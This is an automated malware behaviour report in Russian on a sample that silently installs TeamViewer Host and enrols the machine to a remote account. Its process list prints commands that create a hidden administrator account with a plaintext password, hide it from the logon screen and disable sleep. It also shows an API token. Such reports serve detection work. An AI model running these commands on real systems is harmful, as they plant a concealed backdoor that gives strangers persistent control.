Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Classes\teamviewer8\shell\open\command] '' = '"%ProgramFiles(x86)%\TeamViewer\TeamViewer.exe" "%1"'
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\TeamViewer] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\TeamViewer] 'ImagePath' = '"%ProgramFiles(x86)%\TeamViewer\TeamViewer_Service.exe"'
Создает следующие сервисы
- 'TeamViewer' "%ProgramFiles(x86)%\TeamViewer\TeamViewer_Service.exe"
- 'TeamViewer' %ProgramFiles(x86)%\TeamViewer\TeamViewer_Service.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\7zipsfx.000\installteamviewer.bat
- %WINDIR%\temp\cab1e59.tmp
- %ProgramFiles(x86)%\teamviewer\rolloutfile.tv13
- %ProgramFiles(x86)%\teamviewer\teamviewer15_logfile.log
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\teamviewer.lnk
- %WINDIR%\installer\{46b9e2f2-ab3f-4a55-8d6a-5deeebb2751b}\teamviewer.ico
- %ProgramFiles(x86)%\teamviewer\x64\tvmonitor.sy_
- %ProgramFiles(x86)%\teamviewer\x64\tvmonitor.inf
- %ProgramFiles(x86)%\teamviewer\x64\tvmonitor.cat
- %ProgramFiles(x86)%\teamviewer\tv_x64.dll
- %ProgramFiles(x86)%\teamviewer\tv_x64.exe
- %ProgramFiles(x86)%\teamviewer\tv_w32.dll
- %ProgramFiles(x86)%\teamviewer\tv_w32.exe
- %ProgramFiles(x86)%\teamviewer\x64\teamviewervpn.sy_
- %ProgramFiles(x86)%\teamviewer\x64\teamviewervpn.inf
- %ProgramFiles(x86)%\teamviewer\x64\teamviewervpn.cat
- %ProgramFiles(x86)%\teamviewer\teamviewer_staticres.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_service.exe
- %ProgramFiles(x86)%\teamviewer\teamviewer_note.exe
- %ProgramFiles(x86)%\teamviewer\license.txt
- %WINDIR%\temp\tar1e69.tmp
- %WINDIR%\temp\tar20db.tmp
- %LOCALAPPDATA%\teamviewer\database\tvchatfilecache.db-journal
- %WINDIR%\temp\cab213a.tmp
- %WINDIR%\temp\vlf3asdrz0v0blix
- %ProgramFiles(x86)%\teamviewer\tvnetwork.log
- %ProgramFiles(x86)%\teamviewer\assignmentdata.json
- %ProgramFiles(x86)%\teamviewer\tv-wf-ffbb.tmp
- %WINDIR%\temp\teamviewer\{db912b16-e02d-48e5-8245-e6945eb1da8b}\teamviewer.sig
- %WINDIR%\temp\teamviewer\{db912b16-e02d-48e5-8245-e6945eb1da8b}\logo.png
- %WINDIR%\temp\teamviewer\{db912b16-e02d-48e5-8245-e6945eb1da8b}\teamviewer.json
- %WINDIR%\temp\teamviewer\cfg2646.tmp
- %ProgramFiles(x86)%\teamviewer\teamviewer.sig
- %ProgramFiles(x86)%\teamviewer\logo.png
- %ProgramFiles(x86)%\teamviewer\teamviewer.json
- %ProgramFiles(x86)%\teamviewer\tv-wf-1bed.tmp
- %WINDIR%\temp\teamviewer\{201774c2-2b8e-4a58-a09b-7396d94ffef4}\teamviewer.sig
- %WINDIR%\temp\teamviewer\{201774c2-2b8e-4a58-a09b-7396d94ffef4}\logo.png
- %WINDIR%\temp\teamviewer\{201774c2-2b8e-4a58-a09b-7396d94ffef4}\teamviewer.json
- %WINDIR%\temp\teamviewer\cfg2616.tmp
- %WINDIR%\temp\tar235f.tmp
- %WINDIR%\temp\cab235e.tmp
- %WINDIR%\temp\tar213b.tmp
- %WINDIR%\fonts\teamviewer15host.otf
- %WINDIR%\temp\cab20da.tmp
- %ProgramFiles(x86)%\teamviewer\teamviewer_desktop.exe
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_ko.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_it.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_id.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_hu.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_hr.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_he.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_fr.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_fi.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_es.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_en.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_el.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_de.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_da.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_cs.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_bg.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_ar.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer.exe
- %TEMP%\msiec532.log
- nul
- %TEMP%\7zipsfx.000\teamviewer_host.msi
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_ja.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_lt.dll
- %ProgramFiles(x86)%\teamviewer\printer\teamviewer_xpsdriverfilter-pipelineconfig.xml
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_nl.dll
- %ProgramFiles(x86)%\teamviewer\printer\teamviewer_xpsdriverfilter-manifest.ini
- %ProgramFiles(x86)%\teamviewer\printer\teamviewer_xpsdriverfilter.inf
- %ProgramFiles(x86)%\teamviewer\printer\teamviewer_xpsdriverfilter.gpd
- %ProgramFiles(x86)%\teamviewer\printer\x64\teamviewer_xpsdriverfilter.dll
- %ProgramFiles(x86)%\teamviewer\printer\teamviewer_xpsdriverfilter.cat
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_zhtw.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_zhcn.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_vi.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_uk.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_tr.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_th.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_sv.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_sr.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_sk.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_ru.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_ro.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_pt.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_pl.dll
- %ProgramFiles(x86)%\teamviewer\teamviewer_resource_no.dll
- %ProgramFiles(x86)%\teamviewer\copyrights.txt
- %LOCALAPPDATA%\teamviewer\database\tvchatfilecache.db
Удаляет следующие файлы
- %WINDIR%\temp\cab1e59.tmp
- %TEMP%\7zipsfx.000\teamviewer_host.msi
- %TEMP%\7zipsfx.000\installteamviewer.bat
- %WINDIR%\temp\teamviewer\cfg2646.tmp
- %WINDIR%\temp\teamviewer\{db912b16-e02d-48e5-8245-e6945eb1da8b}\teamviewer.sig
- %WINDIR%\temp\teamviewer\{db912b16-e02d-48e5-8245-e6945eb1da8b}\logo.png
- %WINDIR%\temp\teamviewer\{db912b16-e02d-48e5-8245-e6945eb1da8b}\teamviewer.json
- %ProgramFiles(x86)%\teamviewer\tv-wf-ffbb.tmp
- %WINDIR%\temp\teamviewer\cfg2616.tmp
- %WINDIR%\temp\teamviewer\{201774c2-2b8e-4a58-a09b-7396d94ffef4}\teamviewer.sig
- %WINDIR%\temp\teamviewer\{201774c2-2b8e-4a58-a09b-7396d94ffef4}\logo.png
- %WINDIR%\temp\teamviewer\{201774c2-2b8e-4a58-a09b-7396d94ffef4}\teamviewer.json
- %ProgramFiles(x86)%\teamviewer\tv-wf-1bed.tmp
- %WINDIR%\temp\tar235f.tmp
- %WINDIR%\temp\cab235e.tmp
- %WINDIR%\temp\tar213b.tmp
- %WINDIR%\temp\cab213a.tmp
- %WINDIR%\temp\tar20db.tmp
- %WINDIR%\temp\cab20da.tmp
- %WINDIR%\temp\tar1e69.tmp
- %ProgramFiles(x86)%\teamviewer\assignmentdata.json
- %LOCALAPPDATA%\teamviewer\database\tvchatfilecache.db-journal
Подменяет следующие файлы
- %LOCALAPPDATA%\teamviewer\database\tvchatfilecache.db-journal
Сетевая активность
Подключается к
- 'ro#####.teamviewer.com':5938
- 'co#####l.teamviewer.com':443
- 'localhost':49188
- 'we####.teamviewer.com':443
- 'localhost':49193
- 'localhost':49199
- 'localhost':5939
- 'cl####.teamviewer.com':443
TCP
Другие
- 'ro#####.teamviewer.com':5938
- 'localhost':49188
- 'co#####l.teamviewer.com':443
- 'localhost':49193
- 'we####.teamviewer.com':443
- 'localhost':49199
- 'localhost':5939
- 'localhost':49201
- 'cl####.teamviewer.com':443
UDP
- DNS ASK ro#####.teamviewer.com
- DNS ASK co#####l.teamviewer.com
- DNS ASK we####.teamviewer.com
- DNS ASK cl####.teamviewer.com
- '22#.0.0.251':5353
- 'ff##::fb':5353
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
- ClassName: '' WindowName: 'TeamViewer'
Создает и запускает на исполнение
- '%ProgramFiles(x86)%\teamviewer\teamviewer_service.exe'
- '%ProgramFiles(x86)%\teamviewer\teamviewer.exe' assign --api-token 5790498-RLl3GcQicUCPxHJexBV3 --reassign --grant-easy-access --alias "202307021332-xohrhqmi"
- '%ProgramFiles(x86)%\teamviewer\teamviewer.exe' api --install
- '%ProgramFiles(x86)%\teamviewer\teamviewer.exe'
- '%ProgramFiles(x86)%\teamviewer\tv_w32.exe' --action hooks --log %ProgramFiles(x86)%\TeamViewer\TeamViewer15_Logfile.log
- '%ProgramFiles(x86)%\teamviewer\tv_x64.exe' --action hooks --log %ProgramFiles(x86)%\TeamViewer\TeamViewer15_Logfile.log
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7ZipSfx.000\InstallTeamViewer.bat" "
- '%WINDIR%\syswow64\powercfg.exe' -x -monitor-timeout-dc 0
- '%WINDIR%\syswow64\powercfg.exe' -x -monitor-timeout-ac 0
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\LogMeIn\V5\RemoteControl" /v DisableWallpaper /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v LogMeInRemoteUser /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\net1.exe' LOCALGROUP users LogMeInRemoteUser /delete /y
- '%WINDIR%\syswow64\net.exe' LOCALGROUP users LogMeInRemoteUser /delete /y
- '%WINDIR%\syswow64\powercfg.exe' -x -standby-timeout-ac 0
- '%WINDIR%\syswow64\net1.exe' LOCALGROUP Administrators LogMeInRemoteUser /add /y
- '%WINDIR%\syswow64\wbem\wmic.exe' USERACCOUNT WHERE "Name='LogMeInRemoteUser'" SET PasswordExpires=FALSE
- '%WINDIR%\syswow64\net1.exe' USER LogMeInRemoteUser jk112233$ /add /y
- '%WINDIR%\syswow64\net.exe' USER LogMeInRemoteUser jk112233$ /add /y
- '%WINDIR%\syswow64\msiexec.exe' /i "TeamViewer_Host.msi" /qn DESKTOPSHORTCUTS=0 CUSTOMCONFIGID=6fj9wrc APITOKEN=5790498-RLl3GcQicUCPxHJexBV3 ASSIGNMENTOPTIONS="--reassign --grant-easy-access --alias ""202307021332-xohrhqmi"""
- '%WINDIR%\syswow64\reg.exe' query HKEY_LOCAL_MACHINE\SOFTWARE\LogMeIn\V5\WebSvc /v HostDescription /reg:64
- '%WINDIR%\syswow64\sc.exe' QUERY TeamViewer
- '%WINDIR%\syswow64\net.exe' LOCALGROUP Administrators LogMeInRemoteUser /add /y
- '%WINDIR%\syswow64\powercfg.exe' -x -standby-timeout-dc 0
